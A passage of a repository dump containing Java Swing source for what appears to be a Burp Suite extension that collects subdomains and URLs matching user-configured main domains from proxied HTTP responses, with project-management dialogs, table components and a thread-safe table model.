add(mainPanel, BorderLayout.CENTER); add(buttonPanel, BorderLayout.SOUTH); // 添加按钮事件 addButton.addActionListener(e -> showAddDomainDialog()); editButton.addActionListener(e -> showEditDomainDialog()); deleteButton.addActionListener(e -> deleteDomain()); saveButton.addActionListener(e -> { saveDomains(); dispose(); }); } private void loadDomains() { listModel.clear(); if (currentProject != null) { List domains = currentProject.getMainDomains(); domains.forEach(listModel::addElement); } } private void showAddDomainDialog() { String domain = JOptionPane.showInputDialog(this, I18nUtils.get("similar.dialog.input_domain"), I18nUtils.get("similar.dialog.add_domain_title"), JOptionPane.PLAIN_MESSAGE); if (domain != null && !domain.trim().isEmpty()) { domain = domain.trim().toLowerCase(); if (!listModel.contains(domain)) { listModel.addElement(domain); } else { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.domain_exists"), I18nUtils.get("similar.dialog.tip"), JOptionPane.WARNING_MESSAGE); } } } private void showEditDomainDialog() { int selectedIndex = domainList.getSelectedIndex(); if (selectedIndex != -1) { String oldDomain = listModel.getElementAt(selectedIndex); String newDomain = JOptionPane.showInputDialog(this, I18nUtils.get("similar.dialog.edit_domain"), oldDomain); if (newDomain != null && !newDomain.trim().isEmpty()) { newDomain = newDomain.trim().toLowerCase(); if (!listModel.contains(newDomain) || newDomain.equals(oldDomain)) { listModel.setElementAt(newDomain, selectedIndex); } else { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.domain_exists"), I18nUtils.get("similar.dialog.tip"), JOptionPane.WARNING_MESSAGE); } } } else { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.select_domain_to_edit"), I18nUtils.get("similar.dialog.tip"), JOptionPane.WARNING_MESSAGE); } } private void deleteDomain() { int selectedIndex = domainList.getSelectedIndex(); if (selectedIndex != -1) { if (JOptionPane.showConfirmDialog(this, I18nUtils.get("similar.dialog.confirm_delete_domain"), I18nUtils.get("similar.dialog.confirm_delete"), JOptionPane.YES_NO_OPTION) == JOptionPane.YES_OPTION) { listModel.remove(selectedIndex); } } else { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.select_domain_to_delete"), I18nUtils.get("similar.dialog.tip"), JOptionPane.WARNING_MESSAGE); } } private void saveDomains() { List domains = new ArrayList<>(); for (int i = 0; i < listModel.size(); i++) { domains.add(listModel.getElementAt(i)); } currentProject.setMainDomains(domains); } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/dialog/ProjectManageDialog.java ================================================ package burp.ui.SimilarHelper.dialog; import burp.bean.SimilarProjectBean; import burp.dao.SimilarProjectDao; import burp.ui.SimilarHelper.bean.Project; import burp.utils.I18nUtils; import javax.swing.*; import java.awt.*; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.util.List; import java.util.function.Consumer; public class ProjectManageDialog extends JDialog { private List projects; private JList projectList; private DefaultListModel listModel; private Consumer onProjectSelected; private boolean isProcessingSelection = false; // 添加标志位防止重复处理 public ProjectManageDialog(Window owner, List projects, Consumer onProjectSelected) { super(owner, I18nUtils.get("similar.dialog.project_manage_title"), ModalityType.APPLICATION_MODAL); this.projects = projects; this.onProjectSelected = onProjectSelected; initializeUI(); setSize(400, 300); setLocationRelativeTo(owner); } private void initializeUI() { setLayout(new BorderLayout()); // 创建项目列表 listModel = new DefaultListModel<>(); projects.forEach(listModel::addElement); projectList = new JList<>(listModel); // 添加双击选择功能 projectList.addMouseListener(new MouseAdapter() { @Override public void mouseClicked(MouseEvent e) { if (e.getClickCount() == 2) { // 双击 selectProject(); } } }); // 按钮面板 JPanel buttonPanel = new JPanel(); JButton addButton = new JButton(I18nUtils.get("similar.dialog.add_project")); JButton deleteButton = new JButton(I18nUtils.get("similar.dialog.delete_project")); JButton selectButton = new JButton(I18nUtils.get("similar.dialog.select_project")); buttonPanel.add(addButton); buttonPanel.add(deleteButton); buttonPanel.add(selectButton); add(new JScrollPane(projectList), BorderLayout.CENTER); add(buttonPanel, BorderLayout.SOUTH); // 添加事件监听 addButton.addActionListener(e -> showAddProjectDialog()); deleteButton.addActionListener(e -> deleteSelectedProject()); selectButton.addActionListener(e -> selectProject()); } private void selectProject() { if (isProcessingSelection) { return; // 防止重复处理 } Project selected = projectList.getSelectedValue(); if (selected != null) { isProcessingSelection = true; try { dispose(); // 先关闭对话框 onProjectSelected.accept(selected); // 再触发回调 } finally { isProcessingSelection = false; } } } private void showAddProjectDialog() { String name = JOptionPane.showInputDialog(this, I18nUtils.get("similar.dialog.input_project_name")); if (name != null && !name.trim().isEmpty()) { try { // 创建项目Bean SimilarProjectBean projectBean = new SimilarProjectBean(name); // 保存到数据库 SimilarProjectDao.saveProject(projectBean); // 重新加载项目列表 refreshProjectList(); } catch (Exception e) { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.create_project_failed") + e.getMessage(), I18nUtils.get("similar.dialog.error"), JOptionPane.ERROR_MESSAGE); } } } private void deleteSelectedProject() { Project selected = projectList.getSelectedValue(); if (selected != null) { int result = JOptionPane.showConfirmDialog(this, I18nUtils.get("similar.dialog.confirm_delete_project") + selected.getName() + "' 吗?", I18nUtils.get("similar.dialog.confirm_delete"), JOptionPane.YES_NO_OPTION); if (result == JOptionPane.YES_OPTION) { try { // 从数据库删除 SimilarProjectDao.deleteProject(selected.getId()); // 从列表中移除 projects.remove(selected); listModel.removeElement(selected); } catch (Exception e) { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.delete_project_failed") + e.getMessage(), I18nUtils.get("similar.dialog.error"), JOptionPane.ERROR_MESSAGE); } } } } private void refreshProjectList() { try { // 清空列表 listModel.clear(); projects.clear(); // 重新加载并转换类型 List projectBeans = SimilarProjectDao.getAllProjects(); for (SimilarProjectBean bean : projectBeans) { Project project = new Project(bean); projects.add(project); listModel.addElement(project); } } catch (Exception e) { JOptionPane.showMessageDialog(this, I18nUtils.get("similar.dialog.refresh_project_list_failed") + e.getMessage(), I18nUtils.get("similar.dialog.error"), JOptionPane.ERROR_MESSAGE); } } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/table/DomainTable.java ================================================ package burp.ui.SimilarHelper.table; import burp.ui.SimilarHelper.tablemodel.TableModel; import burp.ui.SimilarHelper.TableRenderer; import burp.ui.SimilarHelper.bean.Domain; import burp.utils.I18nUtils; import burp.utils.Utils; import javax.swing.*; import javax.swing.table.TableColumnModel; import java.awt.*; import java.awt.datatransfer.StringSelection; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.awt.event.KeyEvent; import java.util.Arrays; import java.util.List; /** * 优化的域名表格组件 */ public class DomainTable extends JTable { /** * 表格数据模型 */ private final TableModel model; /** * 表格是否已销毁 */ private boolean disposed = false; /** * 构造函数,初始化表格 */ public DomainTable() { // 初始化表格模型 model = new TableModel( new String[]{"ID", "Domain", "IP", "Time"}, 1 // 域名列作为唯一键 ); setModel(model); // 初始化表格设置 initializeTable(); // 设置右键菜单 setupContextMenu(); // 设置快捷键 setupKeyboardShortcuts(); } /** * 初始化表格基本设置 */ private void initializeTable() { // 设置单元格渲染器 setDefaultRenderer(Object.class, new TableRenderer()); // 设置列宽 TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setPreferredWidth(50); // ID列 columnModel.getColumn(1).setPreferredWidth(200); // 域名列 columnModel.getColumn(2).setPreferredWidth(100); // IP列 columnModel.getColumn(3).setPreferredWidth(150); // 时间列 // 设置表格属性 setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS); setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION); // 允许多选 setRowHeight(20); setAutoCreateRowSorter(true); setDoubleBuffered(true); } /** * 设置键盘快捷键 */ private void setupKeyboardShortcuts() { // 添加Ctrl+A全选快捷键 this.getInputMap().put( KeyStroke.getKeyStroke(KeyEvent.VK_A, Toolkit.getDefaultToolkit().getMenuShortcutKeyMask()), "selectAll" ); // 添加Ctrl+C复制快捷键 this.getInputMap().put( KeyStroke.getKeyStroke(KeyEvent.VK_C, Toolkit.getDefaultToolkit().getMenuShortcutKeyMask()), "copy" ); // 设置复制动作 this.getActionMap().put("copy", new AbstractAction() { @Override public void actionPerformed(java.awt.event.ActionEvent e) { copySelectedRows(); } }); } /** * 设置右键菜单 */ private void setupContextMenu() { JPopupMenu popupMenu = new JPopupMenu(); // 复制域名菜单项 JMenuItem copyDomainItem = new JMenuItem(I18nUtils.get("similar.table.copy_domain")); copyDomainItem.addActionListener(e -> copySelectedColumn(1)); // 复制IP菜单项 JMenuItem copyIPItem = new JMenuItem(I18nUtils.get("similar.table.copy_ip")); copyIPItem.addActionListener(e -> copySelectedColumn(2)); // 复制全部选中内容菜单项 JMenuItem copyAllSelectedItem = new JMenuItem(I18nUtils.get("similar.table.copy_selected")); copyAllSelectedItem.addActionListener(e -> copySelectedRows()); // 添加菜单项 popupMenu.add(copyDomainItem); popupMenu.add(copyIPItem); popupMenu.add(copyAllSelectedItem); // 添加鼠标右键监听 this.addMouseListener(new MouseAdapter() { @Override public void mouseReleased(MouseEvent e) { if (e.isPopupTrigger() && !disposed) { int row = rowAtPoint(e.getPoint()); if (row >= 0) { // 如果点击的行未被选中,则选中该行 if (!isRowSelected(row)) { setRowSelectionInterval(row, row); } popupMenu.show(e.getComponent(), e.getX(), e.getY()); } } } }); } /** * 复制选中的列数据 */ private void copySelectedColumn(int column) { int[] rows = getSelectedRows(); if (rows.length == 0) { return; } StringBuilder sb = new StringBuilder(); for (int i = 0; i < rows.length; i++) { if (i > 0) { sb.append("\n"); } Object value = getValueAt(rows[i], column); sb.append(value != null ? value.toString() : ""); } copyToClipboard(sb.toString()); } /** * 复制选中的所有行数据 */ private void copySelectedRows() { int[] rows = getSelectedRows(); if (rows.length == 0) { return; } StringBuilder sb = new StringBuilder(); for (int row : rows) { if (sb.length() > 0) { sb.append("\n"); } for (int col = 0; col < getColumnCount(); col++) { if (col > 0) { sb.append("\t"); } Object value = getValueAt(row, col); sb.append(value != null ? value.toString() : ""); } } copyToClipboard(sb.toString()); } /** * 复制内容到剪贴板 */ private void copyToClipboard(String content) { if (content == null || content.isEmpty()) { return; } try { StringSelection selection = new StringSelection(content); Toolkit.getDefaultToolkit().getSystemClipboard().setContents(selection, null); } catch (Exception e) { Utils.stderr.println("复制到剪贴板失败: " + e.getMessage()); } } /** * 添加新的域名条目 */ public void addEntry(Domain entry) { if (entry == null || entry.getDomain() == null || disposed) { return; } SwingUtilities.invokeLater(() -> { try { List rowData = Arrays.asList( entry.getId(), entry.getDomain(), entry.getIp(), entry.getTimestamp() ); model.addRow(rowData, entry.getDomain()); // 滚动到新添加的行 int lastRow = getRowCount() - 1; if (lastRow >= 0) { scrollRectToVisible(getCellRect(lastRow, 0, true)); } } catch (Exception e) { Utils.stderr.println("添加域名表格行失败: " + e.getMessage()); } }); } /** * 刷新域名条目 */ public void refreshEntry(Domain entry) { if (entry == null || entry.getDomain() == null || disposed) { return; } SwingUtilities.invokeLater(() -> { try { String domain = entry.getDomain(); for (int i = 0; i < model.getRowCount(); i++) { if (domain.equals(model.getValueAt(i, 1))) { model.setValueAt(entry.getId(), i, 0); model.setValueAt(entry.getIp(), i, 2); model.setValueAt(entry.getTimestamp(), i, 3); break; } } } catch (Exception e) { Utils.stderr.println("刷新域名表格行失败: " + e.getMessage()); } }); } /** * 清空表格数据 */ public void clearData() { if (!disposed) { SwingUtilities.invokeLater(() -> model.clearData()); } } /** * 开始批量更新 */ public void startBatchUpdate() { if (!disposed) { model.startBatchUpdate(); } } /** * 结束批量更新 */ public void endBatchUpdate() { if (!disposed) { model.endBatchUpdate(); } } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/table/URLTable.java ================================================ package burp.ui.SimilarHelper.table; import burp.ui.SimilarHelper.tablemodel.TableModel; import burp.ui.SimilarHelper.TableRenderer; import burp.ui.SimilarHelper.bean.URL; import burp.utils.I18nUtils; import burp.utils.Utils; import javax.swing.*; import javax.swing.table.TableColumnModel; import java.awt.*; import java.awt.datatransfer.Clipboard; import java.awt.datatransfer.StringSelection; import java.awt.event.KeyEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; import java.util.Arrays; import java.util.List; import java.util.stream.Collectors; import java.util.stream.IntStream; /** * URL表格组件 * 用于展示和管理URL列表 */ public class URLTable extends JTable { /** * 表格数据模型 */ private final TableModel model; /** * 右键菜单 */ private final JPopupMenu popupMenu; /** * 表格是否已销毁 */ private boolean disposed = false; /** * 构造函数 */ public URLTable() { // 初始化表格模型 model = new TableModel( new String[]{"ID", "URL", "Time"}, 1 // URL列作为唯一键 ); setModel(model); // 初始化表格基本设置 initializeTable(); // 初始化右键菜单 popupMenu = new JPopupMenu(); setupContextMenu(); // 设置快捷键 setupKeyboardShortcuts(); } /** * 初始化表格基本设置 */ private void initializeTable() { // 设置单元格渲染器 setDefaultRenderer(Object.class, new TableRenderer()); // 设置列宽 TableColumnModel columnModel = getColumnModel(); columnModel.getColumn(0).setPreferredWidth(50); // ID列 columnModel.getColumn(1).setPreferredWidth(400); // URL列 columnModel.getColumn(2).setPreferredWidth(150); // 时间列 // 设置表格属性 setAutoResizeMode(JTable.AUTO_RESIZE_ALL_COLUMNS); setSelectionMode(ListSelectionModel.MULTIPLE_INTERVAL_SELECTION); // 允许多选 setRowHeight(20); setAutoCreateRowSorter(true); setDoubleBuffered(true); } /** * 设置右键菜单 */ private void setupContextMenu() { // 复制选中URL菜单项 JMenuItem copyUrlItem = new JMenuItem(I18nUtils.get("similar.table.copy_selected_url")); copyUrlItem.setMnemonic(KeyEvent.VK_C); copyUrlItem.addActionListener(e -> copySelectedUrls()); // 复制全部URL菜单项 JMenuItem copyAllItem = new JMenuItem(I18nUtils.get("similar.table.copy_all_url")); copyAllItem.setMnemonic(KeyEvent.VK_A); copyAllItem.addActionListener(e -> copyAllUrls()); // 清除选择菜单项 JMenuItem clearSelectionItem = new JMenuItem(I18nUtils.get("similar.table.clear_selection")); clearSelectionItem.setMnemonic(KeyEvent.VK_L); clearSelectionItem.addActionListener(e -> clearSelection()); // 添加菜单项 popupMenu.add(copyUrlItem); popupMenu.add(copyAllItem); popupMenu.addSeparator(); popupMenu.add(clearSelectionItem); // 添加鼠标监听器 addMouseListener(new MouseAdapter() { @Override public void mouseReleased(MouseEvent e) { handleContextMenu(e); } @Override public void mousePressed(MouseEvent e) { handleContextMenu(e); } }); } /** * 处理右键菜单事件 */ private void handleContextMenu(MouseEvent e) { if (!disposed && e.isPopupTrigger()) { // 如果点击位置有行,且未被选中,则选中该行 int row = rowAtPoint(e.getPoint()); if (row >= 0 && !isRowSelected(row)) { setRowSelectionInterval(row, row); } // 表格有数据时显示菜单 if (getRowCount() > 0) { popupMenu.show(e.getComponent(), e.getX(), e.getY()); } } } /** * 设置键盘快捷键 */ private void setupKeyboardShortcuts() { // 设置Ctrl+C复制快捷键 KeyStroke copy = KeyStroke.getKeyStroke(KeyEvent.VK_C, Toolkit.getDefaultToolkit().getMenuShortcutKeyMask()); registerKeyboardAction(e -> copySelectedUrls(), "Copy", copy, JComponent.WHEN_FOCUSED); // 设置Ctrl+A全选快捷键 KeyStroke selectAll = KeyStroke.getKeyStroke(KeyEvent.VK_A, Toolkit.getDefaultToolkit().getMenuShortcutKeyMask()); registerKeyboardAction(e -> selectAll(), "SelectAll", selectAll, JComponent.WHEN_FOCUSED); } /** * 复制选中的URL到剪贴板 */ private void copySelectedUrls() { if (disposed) return; int[] selectedRows = getSelectedRows(); if (selectedRows.length > 0) { // 收集选中的URL并用换行符连接 String urls = Arrays.stream(selectedRows) .mapToObj(row -> getValueAt(row, 1).toString()) .collect(Collectors.joining("\n")); copyToClipboard(urls); Utils.stdout.println("已复制 " + selectedRows.length + " 个URL到剪贴板"); } } /** * 复制所有URL到剪贴板 */ private void copyAllUrls() { if (disposed) return; if (getRowCount() > 0) { // 收集所有URL并用换行符连接 String urls = IntStream.range(0, getRowCount()) .mapToObj(row -> getValueAt(row, 1).toString()) .collect(Collectors.joining("\n")); copyToClipboard(urls); Utils.stdout.println("已复制全部 " + getRowCount() + " 个URL到剪贴板"); } } /** * 复制文本到剪贴板 */ private void copyToClipboard(String text) { if (text != null && !text.isEmpty()) { try { StringSelection selection = new StringSelection(text); Clipboard clipboard = Toolkit.getDefaultToolkit().getSystemClipboard(); clipboard.setContents(selection, selection); } catch (Exception e) { Utils.stderr.println("复制到剪贴板失败: " + e.getMessage()); } } } /** * 添加URL条目 */ public void addEntry(URL entry) { if (entry == null || entry.getUrl() == null || disposed) { return; } SwingUtilities.invokeLater(() -> { try { List rowData = Arrays.asList( entry.getId(), entry.getUrl(), entry.getTimestamp() ); model.addRow(rowData, entry.getUrl()); // 滚动到新添加的行 int lastRow = getRowCount() - 1; if (lastRow >= 0) { scrollRectToVisible(getCellRect(lastRow, 0, true)); } } catch (Exception e) { Utils.stderr.println("添加URL表格行失败: " + e.getMessage()); } }); } /** * 清空表格数据 */ public void clearData() { if (!disposed) { SwingUtilities.invokeLater(() -> model.clearData()); } } /** * 开始批量更新 */ public void startBatchUpdate() { if (!disposed) { model.startBatchUpdate(); } } /** * 结束批量更新 */ public void endBatchUpdate() { if (!disposed) { model.endBatchUpdate(); } } } ================================================ FILE: src/main/java/burp/ui/SimilarHelper/tablemodel/TableModel.java ================================================ package burp.ui.SimilarHelper.tablemodel; import javax.swing.table.AbstractTableModel; import java.util.*; import java.util.concurrent.CopyOnWriteArrayList; /** * 优化的表格数据模型 * 支持批量更新、唯一键约束和线程安全操作 */ public class TableModel extends AbstractTableModel { // 存储表格数据的线程安全列表 private final List> data; // 列名数组 private final String[] columnNames; // 用于确保行的唯一性的键集合 private final Set uniqueKeys; // 用作唯一键的列索引 private final int keyColumnIndex; // 批量更新标志 private boolean isUpdating = false; /** * 构造函数 * * @param columnNames 列名数组 * @param keyColumnIndex 用作唯一键的列索引 */ public TableModel(String[] columnNames, int keyColumnIndex) { this.columnNames = columnNames; this.keyColumnIndex = keyColumnIndex; this.data = new CopyOnWriteArrayList<>(); this.uniqueKeys = Collections.synchronizedSet(new HashSet<>()); } @Override public int getRowCount() { return data.size(); } @Override public int getColumnCount() { return columnNames.length; } @Override public String getColumnName(int column) { return columnNames[column]; } @Override public Object getValueAt(int row, int column) { // 边界检查 if (row < 0 || row >= data.size() || column < 0 || column >= columnNames.length) { return null; } List rowData = data.get(row); return column < rowData.size() ? rowData.get(column) : null; } @Override public void setValueAt(Object value, int row, int column) { // 边界检查 if (row >= 0 && row < data.size() && column >= 0 && column < columnNames.length) { List rowData = data.get(row); if (column < rowData.size()) { rowData.set(column, value); // 非批量更新模式下才触发单元格更新事件 if (!isUpdating) { fireTableCellUpdated(row, column); } } } } @Override public boolean isCellEditable(int row, int column) { return false; } /** * 添加新行或更新现有行 * @param rowData 行数据 * @param uniqueKey 唯一键值 */ public synchronized void addRow(List rowData, String uniqueKey) { if (!uniqueKeys.contains(uniqueKey)) { // 新行添加 data.add(new ArrayList<>(rowData)); uniqueKeys.add(uniqueKey); if (!isUpdating) { fireTableRowsInserted(data.size() - 1, data.size() - 1); } } else { // 更新现有行 int row = findRowByKey(uniqueKey); if (row != -1) { data.set(row, new ArrayList<>(rowData)); if (!isUpdating) { fireTableRowsUpdated(row, row); } } } } /** * 根据唯一键查找行索引 * @param key 唯一键值 * @return 行索引,未找到返回-1 */ private int findRowByKey(String key) { for (int i = 0; i < data.size(); i++) { List row = data.get(i); if (row.size() > keyColumnIndex && key.equals(row.get(keyColumnIndex).toString())) { return i; } } return -1; } /** * 开始批量更新,暂停表格刷新 */ public synchronized void startBatchUpdate() { isUpdating = true; } /** * 结束批量更新,触发表格刷新 */ public synchronized void endBatchUpdate() { isUpdating = false; fireTableDataChanged(); } /** * 清空表格数据 */ public synchronized void clearData() { data.clear(); uniqueKeys.clear(); fireTableDataChanged(); } /** * 清理表格模型资源 * 在不再需要表格模型时调用此方法进行资源清理 */ public synchronized void cleanup() { // 清空所有数据 clearData(); // 重置更新标志 isUpdating = false; } } ================================================ FILE: src/main/java/burp/ui/SimilarUI.java ================================================ package burp.ui; import burp.*; import burp.bean.SimilarDomainResultBean; import burp.bean.SimilarProjectBean; import burp.bean.SimilarUrlResultBean; import burp.dao.SimilarDomainConfigDao; import burp.dao.SimilarDomainResultDao; import burp.dao.SimilarProjectDao; import burp.dao.SimilarUrlResultDao; import burp.ui.SimilarHelper.*; import burp.ui.SimilarHelper.bean.Domain; import burp.ui.SimilarHelper.bean.Project; import burp.ui.SimilarHelper.bean.URL; import burp.ui.SimilarHelper.dialog.DomainConfigDialog; import burp.ui.SimilarHelper.dialog.ProjectManageDialog; import burp.ui.SimilarHelper.table.DomainTable; import burp.ui.SimilarHelper.table.URLTable; import burp.utils.I18nUtils; import burp.utils.Utils; import javax.swing.*; import javax.swing.Timer; import java.awt.*; import java.io.IOException; import java.net.InetAddress; import java.sql.SQLException; import java.util.*; import java.util.List; import java.util.concurrent.CompletableFuture; import java.util.concurrent.CompletionException; import java.util.concurrent.Semaphore; import java.util.concurrent.TimeUnit; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * 相似域名扫描UI主类 * 负责界面展示和用户交互 */ public class SimilarUI implements UIHandler, IHttpListener { // UI组件 private JPanel mainPanel; private JLabel currentProjectLabel; private JToggleButton scanButton; private JButton projectManageButton; private JButton domainConfigButton; private DomainTable domainTable; private URLTable urlTable; // 核心功能状态 private boolean scanEnabled = false; private boolean isReloading = false; private boolean isSelectingProject = false; // Burp相关组件 private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; // 业务数据 private Project currentProject; private List projects = new ArrayList<>(); /** * 初始化UI和数据 */ @Override public void init() { setupUI(); setupData(); loadProjects(); } /** * 获取主面板 */ @Override public JPanel getPanel(IBurpExtenderCallbacks callbacks) { this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); return mainPanel; } /** * 获取标签页名称 */ @Override public String getTabName() { return "Similar"; } /** * 设置UI布局和组件 */ private void setupUI() { Utils.callbacks.registerHttpListener(this); // 创建主面板 mainPanel = new JPanel(new BorderLayout()); // 添加控制面板、分割面板和状态面板 mainPanel.add(createControlPanel(), BorderLayout.NORTH); mainPanel.add(createSplitPane(), BorderLayout.CENTER); mainPanel.add(createStatsPanel(), BorderLayout.SOUTH); } /** * 创建控制面板 */ private JPanel createControlPanel() { JPanel controlPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); // 初始化控制组件 currentProjectLabel = new JLabel(I18nUtils.get("similar.label.project")); scanButton = new JToggleButton(I18nUtils.get("similar.button.scan")); projectManageButton = new JButton(I18nUtils.get("similar.button.manage")); domainConfigButton = new JButton(I18nUtils.get("similar.button.config")); // 添加按钮事件监听 setupControlButtons(); // 添加组件到面板 controlPanel.add(currentProjectLabel); controlPanel.add(scanButton); controlPanel.add(projectManageButton); controlPanel.add(new JLabel(I18nUtils.get("similar.label.main_domain"))); controlPanel.add(domainConfigButton); return controlPanel; } /** * 创建分割面板 */ private JSplitPane createSplitPane() { JSplitPane splitPane = new JSplitPane(JSplitPane.HORIZONTAL_SPLIT); splitPane.setResizeWeight(0.5); // 域名表格面板 domainTable = new DomainTable(); JPanel domainPanel = new JPanel(new BorderLayout()); domainPanel.add(new JLabel(I18nUtils.get("similar.label.domain")), BorderLayout.NORTH); domainPanel.add(new JScrollPane(domainTable), BorderLayout.CENTER); splitPane.setLeftComponent(domainPanel); // URL表格面板 urlTable = new URLTable(); JPanel urlPanel = new JPanel(new BorderLayout()); urlPanel.add(new JLabel(I18nUtils.get("similar.label.url")), BorderLayout.NORTH); urlPanel.add(new JScrollPane(urlTable), BorderLayout.CENTER); splitPane.setRightComponent(urlPanel); return splitPane; } /** * 创建状态面板 */ private JPanel createStatsPanel() { JPanel statsPanel = new JPanel(new FlowLayout(FlowLayout.LEFT)); JLabel statsLabel = new JLabel(I18nUtils.get("similar.label.stats")); statsPanel.add(statsLabel); // 定时更新统计信息 Timer statsTimer = new Timer(5000, e -> { // 获取缓存统计 Map stats = CacheManager.getCacheStats(); statsLabel.setText(String.format(I18nUtils.get("similar.label.stats") + " %s | %s", I18nUtils.get("similar.label.domain_cache") + ": " + stats.get("domainIpCache"), I18nUtils.get("similar.label.url_cache") + ": " + stats.get("projectUrlCache"))); }); statsTimer.start(); return statsPanel; } /** * 设置按钮事件监听 */ private void setupControlButtons() { scanButton.addActionListener(e -> handleScanButtonClick()); projectManageButton.addActionListener(e -> showProjectManageDialog()); domainConfigButton.addActionListener(e -> handleDomainConfigButtonClick()); } /** * 处理扫描按钮点击事件 */ private void handleScanButtonClick() { if (currentProject == null && scanButton.isSelected()) { JOptionPane.showMessageDialog(mainPanel, I18nUtils.get("similar.message.select_project")); scanButton.setSelected(false); } else { scanEnabled = scanButton.isSelected(); scanButton.setSelected(scanEnabled); } } /** * 处理域名配置按钮点击事件 */ private void handleDomainConfigButtonClick() { if (currentProject == null) { JOptionPane.showMessageDialog(mainPanel, "请先选择项目!", I18nUtils.get("config.title.info"), JOptionPane.WARNING_MESSAGE); return; } DomainConfigDialog dialog = new DomainConfigDialog( SwingUtilities.getWindowAncestor(mainPanel), currentProject ); dialog.setVisible(true); } /** * 设置扫描状态 */ public void setScanEnabled(boolean enabled) { this.scanEnabled = enabled; if (scanButton != null) { scanButton.setSelected(enabled); } } /** * 加载项目列表 */ private void loadProjects() { try { List projectBeans = SimilarProjectDao.getAllProjects(); projects.clear(); for (SimilarProjectBean bean : projectBeans) { if (bean != null) { projects.add(new Project(bean)); } } } catch (Exception e) { Utils.stderr.println("加载项目列表失败: " + e.getMessage()); } } /** * 显示项目管理对话框 */ private void showProjectManageDialog() { if (isSelectingProject) { return; } ProjectManageDialog dialog = new ProjectManageDialog( SwingUtilities.getWindowAncestor(mainPanel), projects, this::handleProjectSelection ); dialog.setVisible(true); } /** * 处理HTTP消息 */ @Override public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) { // 跳过不需要处理的情况 if (messageIsRequest || !scanEnabled || currentProject == null || isReloading) { return; } ThreadManager.execute(() -> { try { processHttpResponse(messageInfo); } catch (Exception e) { callbacks.printError("处理HTTP消息失败: " + e.getMessage()); } }); } /** * 处理HTTP响应 */ private void processHttpResponse(IHttpRequestResponse messageInfo) { // 分析请求URL IRequestInfo requestInfo = helpers.analyzeRequest(messageInfo); String url = requestInfo.getUrl().toString(); if (shouldFilter(url)) { return; } // 分析响应内容类型 IResponseInfo responseInfo = helpers.analyzeResponse(messageInfo.getResponse()); String contentType = getResponseContentType(responseInfo); if (!isProcessableContentType(contentType)) { return; } // 处理响应内容 processResponseContent(messageInfo, responseInfo); } /** * 处理响应内容 */ private void processResponseContent(IHttpRequestResponse messageInfo, IResponseInfo responseInfo) { if (isReloading || currentProject == null) { return; } try { byte[] response = messageInfo.getResponse(); int bodyOffset = responseInfo.getBodyOffset(); // 处理响应体 if (response.length - bodyOffset > 1024 * 1024) { // 大于1MB的响应分块处理 processLargeResponse(response, bodyOffset); } else { String responseBody = new String(Arrays.copyOfRange(response, bodyOffset, response.length), "UTF-8"); processExtractedData(responseBody); } } catch (Exception e) { Utils.stderr.println("处理响应内容失败: " + e.getMessage()); } } /** * 处理大型响应 */ private void processLargeResponse(byte[] response, int bodyOffset) throws IOException { final int CHUNK_SIZE = 1024 * 1024; // 1MB int currentOffset = bodyOffset; while (currentOffset < response.length) { int endOffset = Math.min(currentOffset + CHUNK_SIZE, response.length); String chunk = new String(Arrays.copyOfRange(response, currentOffset, endOffset), "UTF-8"); processExtractedData(chunk); currentOffset = endOffset; } } /** * 处理提取的数据 */ private void processExtractedData(String content) { // 并行提取域名和URL CompletableFuture> domainsFuture = CompletableFuture.supplyAsync(() -> extractDomains(content)); CompletableFuture> urlsFuture = CompletableFuture.supplyAsync(() -> extractUrls(content)); try { // 获取提取结果 Set domains = domainsFuture.get(); Set urls = urlsFuture.get(); // 处理域名 domains.stream() .filter(this::isDomainRelevant) .forEach(this::processNewDomain); // 处理URL urls.stream() .filter(this::isUrlRelevant) .forEach(this::processNewUrl); } catch (Exception e) { Utils.stderr.println("处理提取数据失败: " + e.getMessage()); } } /** * 处理新发现的域名 */ private void processNewDomain(String domain) { if (!isDomainMatch(domain) || isReloading) { return; } // 检查缓存 if (CacheManager.isProjectDomainCached(currentProject.getId(), domain)) { return; } synchronized (this) { // 双重检查 if (CacheManager.isProjectDomainCached(currentProject.getId(), domain)) { return; } // 检查数据库 if (SimilarDomainResultDao.isDomainExists(currentProject.getId(), domain)) { CacheManager.cacheProjectDomain(currentProject.getId(), domain); return; } } // 异步解析IP CompletableFuture.supplyAsync(() -> getIPWithCache(domain)) .thenAccept(ip -> { Utils.stdout.println("域名匹配成功: " + domain); updateDomainUI(domain, ip); }) .exceptionally(e -> { Utils.stderr.println("处理域名失败: " + e.getMessage()); return null; }); } /** * 检查域名是否匹配主域名 * @param domain 需要检查的域名 * @return 是否匹配 */ private boolean isDomainMatch(String domain) { if (currentProject == null || currentProject.getMainDomains() == null) { return false; } String lowerDomain = domain.toLowerCase(); return currentProject.getMainDomains().stream() .filter(mainDomain -> mainDomain != null && !mainDomain.isEmpty()) .map(String::toLowerCase) .anyMatch(lowerDomain::endsWith); } /** * 更新域名UI */ private void updateDomainUI(String domain, String ip) { if (isReloading) { return; } SwingUtilities.invokeLater(() -> { try { // 添加到表格 Domain entry = new Domain(domain, ip); domainTable.addEntry(entry); Utils.stdout.println("已添加域名到表格: " + domain); // 保存到数据库 saveDomainToDatabase(entry); } catch (Exception e) { Utils.stderr.println("添加域名条目失败: " + e.getMessage()); } }); } /** * 保存域名到数据库 */ private void saveDomainToDatabase(Domain entry) { ThreadManager.execute(() -> { try { SimilarDomainResultBean domainResult = new SimilarDomainResultBean( currentProject.getId(), 